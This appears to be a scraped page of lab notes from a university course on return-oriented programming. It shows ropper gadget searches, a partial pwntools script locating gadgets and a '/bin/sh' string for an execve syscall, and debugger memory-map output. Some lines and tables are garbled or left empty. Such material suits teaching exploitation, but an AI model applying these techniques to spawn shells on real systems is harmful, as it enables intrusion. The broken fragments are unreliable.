Useful Lists
$ ropper --file target --search "pop rdx; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdx; ret
[INFO] File: target
0x00000000004657c6: pop rdx; ret 2;
0x00000000004031c2: pop rdx; ret;
from pwn import *
# Target program
TARGET = "./target"
# Offset we Found
OFFSET = cyclic_find(0x62616176)
log.info("OFFSET %s", OFFSET)
# ELF / ROP Objects to find stuff
theELF = ELF(TARGET)
theROP = ROP(theELF)
# Manually Find Gadgets
POP_RAX = theROP.find_gadget(["pop rax", "ret"])[0]
POP_RDI = theROP.find_gadget(["pop rdi", "ret"])[0]
POP_RSI = theROP.find_gadget(["pop rsi", "ret"])[0]
POP_RDX = theROP.find_gadget(["pop rdx", "ret"])[0]
# EXECVE
EXEC_CALL = 0x3b
# Syscall
SYSCALL = theROP.find_gadget(["syscall"])[0]
# Display them for a sanity check
log.info("POP_RAX 0x%x", POP_RAX)
log.info("POP_RDI 0x%x", POP_RDI)
log.info("POP_RSI 0x%x", POP_RSI)
log.info("POP_RDX 0x%x", POP_RDX)
log.info("SYSCALL 0x%x", SYSCALL)
/Syscalls_1$ ./target ✭main
Try to drop a Shell with /bin/sh
AAA
4 Bytes Read
Lose :(
$ strings -t x ./target | grep /bin/sh
7c013 Drop a Shell with /bin/sh
SH = next(theELF.search(b"/bin/sh")) # Generator
log.info("SH 0x%x", SH)
mov qword ptr [reg1], reg2 instructionropper --file remote_target --search "mov qword ptr"
0x000000000047c430: mov qword ptr [rax], rdx; pop rbx; ret;
0x000000000046b31f: mov qword ptr [rax], rdx; xor eax, eax; ret;
0x000000000046a60d: mov qword ptr [rax], rdx; ret;
Use Memory Maps
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/dang/Github/Teaching/6048_Labs/Week6_MoreRop/Syscalls_2/target
0x0000000000401000 0x000000000047c000 0x0000000000001000 r-x /home/dang/Github/Teaching/6048_Labs/Week6_MoreRop/Syscalls_2/target
w0x000000000047c000 0x00000000004a4000 0x000000000007c000 r-- /home/dang/Github/Teaching/6048_Labs/Week6_MoreRop/Syscalls_2/target
0x00000000004a4000 0x00000000004a8000 0x00000000000a3000 r-- /home/dang/Github/Teaching/6048_Labs/Week6_MoreRop/Syscalls_2/target
0x00000000c004a8000 0x00000000004ab000 0x00000000000a7000 rw- /home/dang/Github/Teaching/6048_Labs/Week6_MoreRop/Syscalls_2/target
0x00000000c004a8000 0x00000000004ab000 0x00000000000a7000 rw- /home/dang/Github/Teaching/6048_Labs/Week6_MoreRop/Syscalls_2/target
First Attempt
| Register | Value |
|---|---|
| EAX | “/bin” |
| RDX |
Second Write
| Register | Value |
|---|---|
| EAX | “/sh” |
| RDX |